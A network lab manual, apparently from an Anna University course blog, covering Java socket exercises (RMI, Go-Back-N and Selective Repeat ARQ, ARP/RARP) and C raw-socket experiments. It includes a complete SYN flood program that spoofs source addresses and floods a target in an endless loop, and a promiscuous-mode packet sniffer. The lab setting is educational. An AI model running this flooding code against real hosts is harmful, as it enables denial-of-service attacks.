Server C:\>javac FactIntf.java C:\>javac FactImpl.java C:\>javac FactServer.java C:\>javac FactClient.java C:\>rmic FactImpl C:\>start rmiregistry C:\>java FactServer

Client C:\>java FactClient 172.16.6.45 10 10 Factorial value is 3628800

C:\>java FactClient 172.16.6.45 0 0 Factorial value is 1

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

PROTOCOL SIMULATION
Sliding window protocols are used where reliable in-order delivery is required. Each frame is assigned a unique sequence number, and the receiver uses the numbers to place received packets in the correct order. Sequence numbers range from 0 up to some maximum, circularly. In Go-Back-N Automatic Repeat Request, several frames are sent before receiving acknowledgments and a copy of these frames is kept until the acknowledgments arrive. The maximum size of the sender's window is 2 m - 1. The size of the receive window is always 1. The receiver is always looking for the arrival of a specific frame. Any frame arriving out of order is discarded and needs to be resent. When the correct frame arrives, the receive window slides. The GO-Back-N ARQ is highly inefficient for noisy channels, since frames are more likely to be lost or corrupt and be resent. In Selective Repeat ARQ, only the damaged frame is resent. The send window size and the receive window size is 2m-1. Therefore, the frames can arrive out of order and be stored until they can be delivered. The delivery of a packet to a host or a router requires two levels of addressing, logical and physical. Therefore, it is required to map a logical address to its corresponding physical address and vice versa. A host has an IP datagram to be sent to another host has the logical address of the receiver obtained using DNS. Address Resolution Protocol (ARP) is used to know the physical address of a machine when its logical address is known. It broadcasts a request, to which the intended recipient replies with its physical address. In certain cases, a host aware of its physical address needs to know the logical address. For instance, a diskless station booted from its ROM. The station can find its physical address by checking its interface provided by the manufacturer. The system can use the physical address to get the logical address by using the Reverse Address Resolution Protocol (RARP).

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 5A

Go Back N ARQ

Aim To simulate a sliding window protocol that uses Go Back N ARQ.

Algorithm Sender 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. Receiver 1. 2. 3. 4. 5. 6. 7. 8. 9. Indicate to sender, the readiness to accept frames. Initialize receiver's expected frame sequence to 0. Accept the incoming frame. If frame's sequence receiver's sequence then go to step 7. Send an acknowledgement. Repeat steps 36 until all frames are received in sequence and go to step 9 Discard frame, thereby force the sender to retransmit. Go to step 3. Stop Create a server socket Assume the sending window size as 7 (m = 3). If receiver is ready, initialize sender's frame sequence to 0. Get data from user. Send it to the receiver along with sequence number. Increment sequence number by 1. Repeat steps 46 until all frames have been sent. Wait for acknowledgements. If all acknowledgements have arrived then go to step 12. Set sequence number to earliest outstanding frame for which there is no ACK. Go to step 4. Stop

Result Thus using Go Back N procedure, the sender retransmits all frames from the earliest outstanding frame.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // Go Back N Sender--GBNSend.java import java.io.*; import java.net.*; public class GBNSend { String output[] = new String[7]; void sendMsg(BufferedReader buff, BufferedReader in, PrintWriter out, int x) throws Exception { try { for(int i=x; i<7; i++) { System.out.print("Content for frame" + i + " : "); output[i] = in.readLine(); out.println(output[i]); out.flush(); } } catch(Exception e) { System.out.println("exception is" + e); } } public static void main(String[] args) throws Exception { GBNSend g = new GBNSend(); ServerSocket ssoc = new ServerSocket(6000); Socket soc = ssoc.accept(); String input[] = new String[7]; BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream())); PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream())); BufferedReader in = new BufferedReader(new InputStreamReader(System.in)); System.out.println("Window size 7"); System.out.println("Enter message in format-SeqNoData"); int x = 0; g.sendMsg(buff,in,out,0);

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

for(int j=0; j<7; j++) { String s = new String(); input[j] = buff.readLine(); s = j + ""; if(input[j].startsWith(s)) System.out.println("Ack for frame" + j); else { System.out.println("Frame" + j + " lost/corrupt. Go Back & resend"); x = j; g.sendMsg(buff,in,out,j); --j; } } soc.close(); ssoc.close(); } }

//Go Back N Receiver--GBNReceive.java import java.io.*; import java.net.*; public class GBNReceive { String input[] = new String[7]; void ReceiveMsg(BufferedReader buff, PrintWriter out, int x) throws Exception { try { for(int i=x; i<7; i++) input[i] = buff.readLine(); } catch(Exception e) { System.out.println("exception is" + e); } } public static void main(String[] args) throws Exception { GBNReceive g = new GBNReceive(); Socket soc = new Socket("localhost", 6000); BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream())); PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream()));

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

int x = 0; g.ReceiveMsg(buff,out,0); for(int j=x; j<7; j++) { String s = new String(); s = j + ""; if(g.input[j].startsWith(s)) { String rmsg = g.input[j]; rmsg = rmsg.substring(1,rmsg.length()); System.out.println("Frame" + j + "data is " + rmsg); out.println(j + "ack"); out.flush(); } else { out.println("no ack"); out.flush(); x = j; g.ReceiveMsg(buff,out,j); --j; } } soc.close(); } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Sender $ javac GBNSend.java $ java GBNSend Window size 7 Enter message in format--SeqNoData Content for frame0 : 0hi Content for frame1 : 1hello Content for frame2 : 2i am here Content for frame3 : 3where r u? Content for frame4 : here only Content for frame5 : 5can u see me Content for frame6 : 6which direction Ack for frame0 Ack for frame1 Ack for frame2 Ack for frame3 Frame4 lost/corrupt. Go Back & resend Content for frame4 : 4here only Content for frame5 : 5which direction Content for frame6 : ok Ack for frame4 Ack for frame5 Frame6 lost/corrupt. Go Back & resend Content for frame6 : 6South Ack for frame6 Receiver $ javac GBNReceive.java $ java GBNReceive Frame0 data is hi Frame1 data is hello Frame2 data is i am here Frame3 data is where r u? Frame4 data is here only Frame5 data is which direction Frame6 data is South

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 5B

Selective Repeat ARQ

Aim To simulate a sliding window protocol that uses Selective Repeat ARQ.

Algorithm Sender 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. Receiver 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. Indicate to the sender, the readiness to accept frames. Initialize receiver's expected frame sequence to 0. Accept the incoming frame. If frame is corrupt then step 8. If frames are in order then step 6 else step 3. Send acknowledgements. If ACK for all frames are sent then go to step 10 Discard the frame, thereby force the sender to retransmit Go to step 3 Stop Create a server socket Assume sending window size as 7. If receiver is ready, initialize sender's frame sequence to 0. Get data from user. Send it to receiver along with sequence number. Increment sequence number by 1. Repeat steps 46 until all frames have been sent. Wait for acknowledgements. If all acknowledgements have arrived then go to step 12 Resend the earliest outstanding frame for which there is no ACK. Go to step 8. Stop

Result Thus using Selective Repeat procedure, the sender retransmits only frames that are unacknowledged.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program // Selective Repeat Sender--SRSend.java import java.io.*; import java.net.*; public class SRSend { String output[] = new String[7]; void sendMsg(BufferedReader buff, BufferedReader in, PrintWriter out, int x, int flag) throws Exception { try { if(flag == 1) { for(int i=0; i<7; i++) { System.out.print("Content for frame "+i+" : "); output[i] = in.readLine(); out.println(output[i]); out.flush(); } } else { System.out.print("Content for frame" + x + " : "); output[x] = in.readLine(); out.println(output[x]); out.flush(); } } catch(Exception e) { System.out.println("exception is" +e); } } public static void main(String[] args) throws Exception { SRSend g = new SRSend(); ServerSocket ssoc = new ServerSocket(6000); Socket soc = ssoc.accept(); String input[] = new String[7]; BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream())); PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream())); BufferedReader in = new BufferedReader(new InputStreamReader(System.in));

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

System.out.println("Window size 7"); System.out.println("Enter message in format-SeqNoData"); int x = 0; g.sendMsg(buff,in,out,0,1); for(int j=x; j<7; j++) { String s = new String(); input[j] = buff.readLine(); s = j + ""; if(input[j].startsWith(s)) System.out.println("Ack for frame" + j); else { System.out.println("Frame" + j + " lost/corrupt. Resend it"); x = j; g.sendMsg(buff,in,out,x,0); j--; } } soc.close(); ssoc.close(); } }

// Selective Repeat Receiver import java.io.*; import java.net.*; public class SRReceive { String input[] = new String[7]; void ReceiveMsg(BufferedReader buff, PrintWriter out, int x, int flag) throws Exception { try { if(flag == 1) for(int i=0; i<7; i++) input[i] = buff.readLine(); else input[x] = buff.readLine(); } catch(Exception e) { System.out.println("exception is" + e); } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

public static void main(String[] args) throws Exception { SRReceive g = new SRReceive(); Socket soc = new Socket("localhost", 6000); BufferedReader buff = new BufferedReader(new InputStreamReader(soc.getInputStream())); PrintWriter out = new PrintWriter(new OutputStreamWriter(soc.getOutputStream())); int x=0; g.ReceiveMsg(buff,out,0,1); for(int j=x; j<7; j++) { String s = new String(); s = j + ""; if(g.input[j].startsWith(s)) { String rmsg = g.input[j]; rmsg = rmsg.substring(1, rmsg.length()); System.out.println("Frame" + j + "data is " + rmsg); out.println(j + "ack"); out.flush(); } else { out.println("no ack"); out.flush(); x = j; g.ReceiveMsg(buff,out,j,0); j--; } } soc.close(); } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Sender $ javac SRSend.java $ java SRSend Window size 7 Window size 7 Enter message in format--SeqNoData Content for frame0 : 0hi Content for frame1 : 1hello Content for frame2 : 2i am here Content for frame3 : 3where r u? Content for frame4 : here only Content for frame5 : 5can u see me Content for frame6 : 6which direction Ack for frame0 Ack for frame1 Ack for frame2 Ack for frame3 Frame4 lost/corrupt. Resend it Content for frame4 : 4here only Ack for frame4 Ack for frame5 Ack for frame6

Receiver $ javac SRReceive.java $ java SRReceive Frame0 data is hi Frame1 data is hello Frame2 data is i am here Frame3 data is where r u? Frame4 data is here only Frame5 data is can u see me Frame6 data is which direction

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 5C

ARP Client/Server

Aim To know the physical address of a host when its logical address is known using ARP protocol.

Algorithm Target/Server 1. 2. 3. 4. 5. 6. Client 1. 2. 3. 4. 5. 6. Create a socket. Send IP address to the target machine Receive target's response If it is a MAC address then display it and go to step 6 Display "Host not found" Stop Create a server socket. Accept client connection. Read IP address from the client request Check its configuration file and compare with its logical address. If there is a match, send the host physical address. Stop

Result Thus using ARP protoocl MAC address is obtained.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program //ARP Server -- arpserver.java import java.io.*; import java.net.*; class arpserver { public static void main(String args[])throws IOException { try { ServerSocket soc = new ServerSocket(2500); System.out.println("Server started"); Socket client = null; client = soc.accept(); String str; PrintStream ps = new PrintStream(client.getOutputStream()); BufferedReader br = new BufferedReader(new InputStreamReader(client.getInputStream())); Runtime r = Runtime.getRuntime(); Process p = r.exec("ifconfig eth0"); BufferedReader pin=new BufferedReader(new InputStreamReader(p.getInputStream())); String haddr = ""; String ipaddr = br.readLine(); int flag = 0; while((str = pin.readLine())!=null) { System.out.println(str); if((str.indexOf("HWaddr")) != -1) { int tlen = str.length(); int hlen = tlen - 19; haddr = str.substring(hlen,tlen); } else if ((str.indexOf(ipaddr)) != -1) { flag = 1; } } if (flag == 1) ps.println(haddr); ps.close(); br.close(); pin.close(); client.close();

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

soc.close(); } catch(IOException io) { System.err.println("Exception : " + io.toString()); } } }

//ARP Client -- arpclient.java import java.io.*; import java.net.*; class arpclient { public static void main(String args[]) { try { Socket client = new Socket("localhost", 2500); BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); PrintStream ps = new PrintStream(client.getOutputStream()); String ipaddr,haddr = null; BufferedReader sin = new BufferedReader(new InputStreamReader(client.getInputStream())); System.out.print("Enter the IP address : "); ipaddr = br.readLine(); ps.println(ipaddr); haddr = sin.readLine(); if (haddr == null) System.out.println("Host does not exist"); else System.out.println("Physical Address " + haddr); ps.close(); br.close(); client.close(); } catch(IOException io) { System.err.println(io.toString()); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Server $ javac arpserver.java $ java arpserver Server started


eth0 Link encap:Ethernet HWaddr B8:AC:6F:1B:AB:06 inet addr:172.16.6.21 Bcast:172.255.255.255 Mask:255.0.0.0 inet6 addr: fe80::baac:6fff:fe1b:ab06/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:450 errors:0 dropped:0 overruns:0 frame:0 TX packets:127 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:48118 (46.9 KiB) TX bytes:21025 (20.5 KiB) Interrupt:16

Client $ javac arpclient.java $ java arpclient Enter the IP address : 172.16.6.21 Physical Address B8:AC:6F:1B:AB:06

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 5D

RARP Client/Server

Aim To know the logical address of a host when its physical address is known using RARP protocol.

Algorithm Target/Server 1. 2. 3. 4. 5. 6. Client 1. 2. 3. 4. 5. 6. Create a socket. Send physical address to the target machine Receive target's response If it is a IP address then display it and go to step 6 Display "Host not found" Stop Create a server socket. Accept client connection. Read MAC address from the client request Check its configuration file and compare with its physical address. If there is a match, send the host logical address. Stop

Result Thus using RARP protocol, IP address is obtained.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program //RARP Server -- rarpserver.java import java.io.*; import java.net.*; class rarpserver { public static void main(String args[])throws IOException { try { ServerSocket soc = new ServerSocket(2500); System.out.println("Server started"); Socket client = null; client = soc.accept(); String str; PrintStream ps = new PrintStream(client.getOutputStream()); BufferedReader br = new BufferedReader(new InputStreamReader(client.getInputStream())); Runtime r = Runtime.getRuntime(); Process p = r.exec("ifconfig eth0"); BufferedReader pin = new BufferedReader(new InputStreamReader(p.getInputStream())); String ipaddr = ""; String haddr = br.readLine(); int flag = 0; while((str = pin.readLine())!=null) { System.out.println(str); if ((str.indexOf(haddr)) != -1) { flag = 1; } else if((str.indexOf("inet addr")) != -1) { int pos = str.indexOf("inet addr:") + 10; int offset = pos + 13; ipaddr = str.substring(pos,offset); } } if (flag == 1) ps.println(ipaddr); ps.close(); br.close(); pin.close(); client.close(); soc.close();

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

} catch(IOException io) { System.err.println("Exception : " + io.toString()); } } }

// RARP Client -- rarpclient.java import java.io.*; import java.net.*; class rarpclient { public static void main(String args[]) { try { Socket client = new Socket("localhost", 2500); BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); PrintStream ps = new PrintStream(client.getOutputStream()); String haddr,ipaddr = null; BufferedReader sin = new BufferedReader(new InputStreamReader(client.getInputStream())); System.out.print("Enter the physical address : "); haddr = br.readLine(); ps.println(haddr); ipaddr = sin.readLine(); if (ipaddr == null) System.out.println("Host does not exist"); else System.out.println("Logical Address " + ipaddr); ps.close(); br.close(); client.close(); } catch(IOException io) { System.err.println(io.toString()); } } }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output

Server $ javac rarpserver.java $ java rarpserver Server started


eth0 Link encap:Ethernet HWaddr B8:AC:6F:1B:AB:06 inet addr:172.16.6.21 Bcast:172.255.255.255 Mask:255.0.0.0 inet6 addr: fe80::baac:6fff:fe1b:ab06/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:450 errors:0 dropped:0 overruns:0 frame:0 TX packets:127 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:48118 (46.9 KiB) TX bytes:21025 (20.5 KiB) Interrupt:16

Client $ javac rarpclient.java $ java rarpclient Enter the physical address : B8:AC:6F:1B:AB:06 Logical Address 172.16.6.21

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

RAW SOCKETS
Normally, data from source host application layer is encapsulated with protocol headers at layers transport, network and data link layer respectively. The value for these headers is filled by the kernel or the operating system and sent through the network. When it reaches the destination host, all the headers (Ethernet, IP, TCP, etc) are stripped by the network stack and only data is shipped to the application layer. The programmer can neither modify nor view those packet headers. A raw socket is a socket that allows direct sending and receiving of network packets by applications, bypassing all encapsulation done by network stack of the host and communicating directly with the device driver. With raw sockets, the programmer has full control of packets send to or received from the network. It is primarily used to: 1. 2. Packet Injection (Sending packets into raw socket) Packet Sniffing (Receiving packets from raw socket)

The basic concept of low level sockets is to send packets with all protocol headers filled in by the program (instead of the kernel). To fabricate our own packets, the structure of protocols (IP, TCP/UDP) that needs to be included should be known. We can define our own protocol structure (packet header) and assign values or assign values for the standard built-in structures elements provided by Linux. In order to read packets, the programmer needs to sniff the network. The host can receive only unicast, broadcast and multicast (subscribed) packets. The programmer can switch to promiscuous mode to receive contents meant for other hosts too. This is done by accessing a raw interface to the data link layers. Once a packet is received, then it is possible to parse that packet intelligibly and to find out the details of all headers (Ethernet, IP, TCP, ARP, etc). Raw sockets are used by network monitoring and hacking tools. The tools used in Syn flood attacks on Yahoo in 2000 and countless other Denial of Service (DoS) attacks on innumerable hosts, leveraged raw socket interface to accomplish the task.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 3A

SYN Flooding

Aim To flood the server from a spoofed source address leading to a DoS attack.

Algorithm

1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12.

Declare TCP and IP header structure Create a raw socket packet using socket() method Get the target IP address and port to be flooded from the user Fill the sockaddr_in structure with destination information Initialize the buffer Assign appropriate values to the respective IP header fields The source address and port information should be a spoofed one. Compute checksum using a simple routine Assign appropriate values to the respective TCP header fields Instruct the kernel not to add IP/TCP headers using IP_HDRINCL Send packets using sendto() endlessly to create a SYN flood attack Stop

Result Thus the server is flooded with SYN packets from a spoofed host resulting in depletion of resources.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program /* SYN #include #include #include #include #include #include #include Flooding synflood.c <unistd.h> <stdio.h> <stdlib.h> <string.h> <sys/socket.h> <netinet/ip.h> <netinet/tcp.h> */

/* IP header's structure */ struct ipheader { unsigned char iph_ihl:5, iph_ver:4; unsigned char iph_tos; unsigned short int iph_len; unsigned short int iph_ident; unsigned char iph_flags; unsigned short int iph_offset; unsigned char iph_ttl; unsigned char iph_protocol; unsigned short int iph_chksum; unsigned int iph_sourceip; unsigned int iph_destip; }; /* Structure of a TCP header */ struct tcpheader { unsigned short int tcph_srcport; unsigned short int tcph_destport; unsigned int tcph_seqnum; unsigned int tcph_acknum; unsigned char tcph_reserved:4, tcph_offset:4; unsigned int tcp_res1:4, tcph_hlen:4, tcph_fin:1, tcph_syn:1, tcph_rst:1, tcph_psh:1, tcph_ack:1, tcph_urg:1, tcph_res2:2; unsigned short int tcph_win; unsigned short int tcph_chksum; unsigned short int tcph_urgptr; };

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

/* Simple checksum function */ unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } int main(int argc, char *argv[ ]) { /* open raw socket */ int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); char datagram[4096]; struct ipheader *iph = (struct ipheader *) datagram; struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader); struct sockaddr_in sin; if(argc != 3) { printf("Invalid parameters!\n"); printf("Usage: %s <target IP > <port to be flooded>\n", argv[0]); exit(-1); } unsigned int floodport = atoi(argv[2]); sin.sin_family = AF_INET; sin.sin_port = htons(floodport); sin.sin_addr.s_addr = inet_addr(argv[1]); /* zero out the buffer */ memset(datagram, 0, 4096); /* fill in the iph->iph_ihl = iph->iph_ver = iph->iph_tos = iph->iph_len = ip/tcp header values */ 5; 4; 0; sizeof (struct ipheader) + sizeof (struct tcpheader); iph->iph_ident = htonl (54321); iph->iph_offset = 0; iph->iph_ttl = 255; iph->iph_protocol = 6; iph->iph_chksum = 0; /* SYN's are blindly spoofed, use randomly generated IP */ iph->iph_sourceip = inet_addr ("192.168.3.100"); iph->iph_destip = sin.sin_addr.s_addr;

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

/* arbitrary port for source */ tcph->tcph_srcport = htons (5678); tcph->tcph_destport = htons (floodport); /* in a SYN packet, the sequence is a random */ tcph->tcph_seqnum = random(); /* number, and the ACK sequence is 0 in the 1st packet */ tcph->tcph_acknum = 0; tcph->tcph_res2 = 0; /* first and only tcp segment */ tcph->tcph_offset = 0; /* initial connection request */ tcph->tcph_syn = 0x02; /* maximum allowed window size */ tcph->tcph_win = htonl (65535); /* kernel's IP stack will fill correct checksum */ tcph->tcph_chksum = 0; tcph-> tcph_urgptr = 0; iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1); /* IP_HDRINCL informs kernel that header is part of data */ int tmp = 1; const int *val = &tmp; if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0) { printf("Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } else printf("OK, using own header!\n"); while(1) { if(sendto(s, datagram, iph->iph_len, 0, (struct sockaddr *)&sin, sizeof (sin)) < 0) printf("sendto() error!!!.\n"); else printf("Flooding %s at %u...\n", argv[1], floodport); } return 0; }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Output $ su Password: # gcc synflood.c -o synflood synflood.c: In function 'main': synflood.c:114: warning: large integer implicitly truncated to unsigned type # ./synflood 172.16.6.45 23 OK, using own header! Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... Flooding 172.16.6.45 at 23... ... ^C

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Exp# 3B

Packet Capture

Aim To sniff and parse packets that pass through using raw sockets.

Algorithm Set the ethernet interface in promiscuous mode to sniff all packets Create a raw socket with Ethernet-to-IP protocol. Bind socket to the Ethernet interface using bind() Get the number of packets to be sniffed from the user. When a proper packet arrives, receive it using recvfrom() Print the entire packet contents in hexadecimal using a loop. Parse the packet a. Print source and destination MAC addresss from Ethernet header b. Print source and destination IP address from IP header c. If the transport layer protocol is TCP, then print the source and destination port from TCP header d. If the packet contains data then print the data 8. Repeat steps 57 until required number of packets are sniffed 9. Stop 1. 2. 3. 4. 5. 6. 7.

Result Thus packets that pass through the host were sniffed. The Ethernet, IP and TCP headers along with data contents were parsed.

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

Program /* Packet Sniffing sniffdata.c */ #include #include #include #include #include #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <string.h> <sys/socket.h> <features.h> <linux/if_packet.h> <linux/if_ether.h> <errno.h> <sys/ioctl.h> <net/if.h> <linux/ip.h> <linux/tcp.h> <netinet/in.h>

int CreateRawSocket(int protocol_to_sniff) { int rawsock; if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_sniff)))== -1) { perror("Error creating raw socket: "); exit(-1); } return rawsock; } int BindRawSocketToInterface(char *device, int rawsock, int protocol) { struct sockaddr_ll sll; struct ifreq ifr; bzero(&sll, sizeof(sll)); bzero(&ifr, sizeof(ifr)); /* Get Interface Index */ strncpy((char *)ifr.ifr_name, device, IFNAMSIZ); if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1) { printf("Error getting Interface index !\n"); exit(-1); } /* Bind raw socket to this interface */ sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(protocol);

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1) { perror("Error binding raw socket to interface\n"); exit(-1); } return 1; } void PrintPacketInHex(unsigned char *packet, int len) { unsigned char *p = packet; printf("\n\n---------Packet---Starts----\n\n"); while(len--) { printf("%.2x ", *p); p++; } printf("\n\n--------Packet---Ends-----\n\n"); } PrintInHex(char *mesg, unsigned char *p, int len) { printf(mesg); while(len--) { printf("%.2X ", *p); p++; } } ParseEthernetHeader(unsigned char *packet, int len) { struct ethhdr *ethernet_header; if(len > sizeof(struct ethhdr)) { ethernet_header = (struct ethhdr *)packet; /* First set of 6 bytes are Destination MAC */ PrintInHex("Destination MAC: ",ethernet_header->h_dest,6); printf("\n"); /* Second set of 6 bytes are Source MAC */ PrintInHex("Source MAC: ",ethernet_header->h_source,6); printf("\n"); /* Last 2 bytes in Ethernet header is the protocol */ PrintInHex("Protocol: ",(void *) &ethernet_header->h_proto, 2); printf("\n"); }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

else { printf("Packet size too small !\n"); } } ParseIpHeader(unsigned char *packet, int len) { struct ethhdr *ethernet_header; struct iphdr *ip_header; /*Check if packet contains IP header using Ethernet header*/ ethernet_header = (struct ethhdr *)packet; if(ntohs(ethernet_header->h_proto) == ETH_P_IP) { /* The IP header is after the Ethernet header */ if(len >= (sizeof(struct ethhdr)+sizeof(struct iphdr))) { ip_header=(struct iphdr*)(packet+sizeof(struct ethhdr)); /* print the Source and Destination IP address */ printf("Dest IP address: %s\n", inet_ntoa(ip_header->daddr)); printf("Source IP address: %s\n", inet_ntoa(ip_header->saddr)); } else { printf("IP packet does not have full header\n"); } } } ParseTcpHeader(unsigned char *packet , int len) { struct ethhdr *ethernet_header; struct iphdr *ip_header; struct tcphdr *tcp_header; /* Check if enough bytes are there for TCP Header */ if(len >= (sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct tcphdr))) { /* Do the checks: Is it an IP pkt and is it TCP ? */ ethernet_header = (struct ethhdr *)packet; if(ntohs(ethernet_header->h_proto) == ETH_P_IP) { ip_header = (struct iphdr *)(packet + sizeof(struct ethhdr));

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

if(ip_header->protocol == IPPROTO_TCP) { tcp_header = (struct tcphdr*)(packet + sizeof(struct ethhdr) + ip_header->ihl*4 ); /* Print the Dest and Src ports */ printf("Source Port:%d\n",ntohs(tcp_header->source)); printf("Dest Port: %d\n", ntohs(tcp_header->dest)); } else { printf("Not a TCP packet\n"); } } else { printf("Not an IP packet\n"); } } else { printf("TCP Header not present \n"); } } int ParseData(unsigned char *packet, int len) { struct ethhdr *ethernet_header; struct iphdr *ip_header; struct tcphdr *tcp_header; unsigned char *data; int data_len; /* Check if any data is there */ if(len > (sizeof(struct ethhdr) + sizeof(struct iphdr) + sizeof(struct tcphdr))) { ip_header = (struct iphdr*)(packet + sizeof(struct ethhdr)); data = (packet + sizeof(struct ethhdr) + ip_header->ihl*4 +sizeof(struct tcphdr)); data_len = ntohs(ip_header->tot_len) - ip_header->ihl*4 - sizeof(struct tcphdr); if(data_len) { printf("Data Len : %d\n", data_len); PrintInHex("Data : ", data, data_len); printf("\n\n"); return 1; }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

else { printf("No Data in packet\n"); return 0; } } else { printf("No Data in packet\n"); return 0; } } int IsIpAndTcpPacket(unsigned char *packet, int len) { struct ethhdr *ethernet_header; struct iphdr *ip_header; ethernet_header = (struct ethhdr *)packet; if(ntohs(ethernet_header->h_proto) == ETH_P_IP) { ip_header = (struct iphdr *)(packet + sizeof(struct ethhdr)); if(ip_header->protocol == IPPROTO_TCP) return 1; else return -1; } else return -1; } main(int argc, char **argv) { int raw; unsigned char packet_buffer[2048]; int len; int packets_to_sniff; struct sockaddr_ll packet_info; int packet_info_size = sizeof(packet_info); /* create the raw socket */ raw = CreateRawSocket(ETH_P_IP); /* Bind socket to interface */ BindRawSocketToInterface(argv[1], raw, ETH_P_IP); /* Get number of packets to sniff from user */ packets_to_sniff = atoi(argv[2]);

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

/* Start Sniffing and print Hex of every packet */ while(packets_to_sniff--) { if((len = recvfrom(raw, packet_buffer, 2048, 0, (struct sockaddr*)&packet_info, &packet_info_size))== -1) { perror("Recv from returned -1: "); exit(-1); } else { /* Packet has been received successfully !! */ PrintPacketInHex(packet_buffer, len); /* Parse Ethernet Header */ ParseEthernetHeader(packet_buffer, len); /* Parse IP Header */ ParseIpHeader(packet_buffer, len); /* Parse TCP Header */ ParseTcpHeader(packet_buffer, len); if(IsIpAndTcpPacket(packet_buffer, len)) { if(!ParseData(packet_buffer, len)) packets_to_sniff++; } } } return 0; }

http://cseannauniv.blogspot.com

Vijai Anand

CS2307 Network Lab

Socket Programming

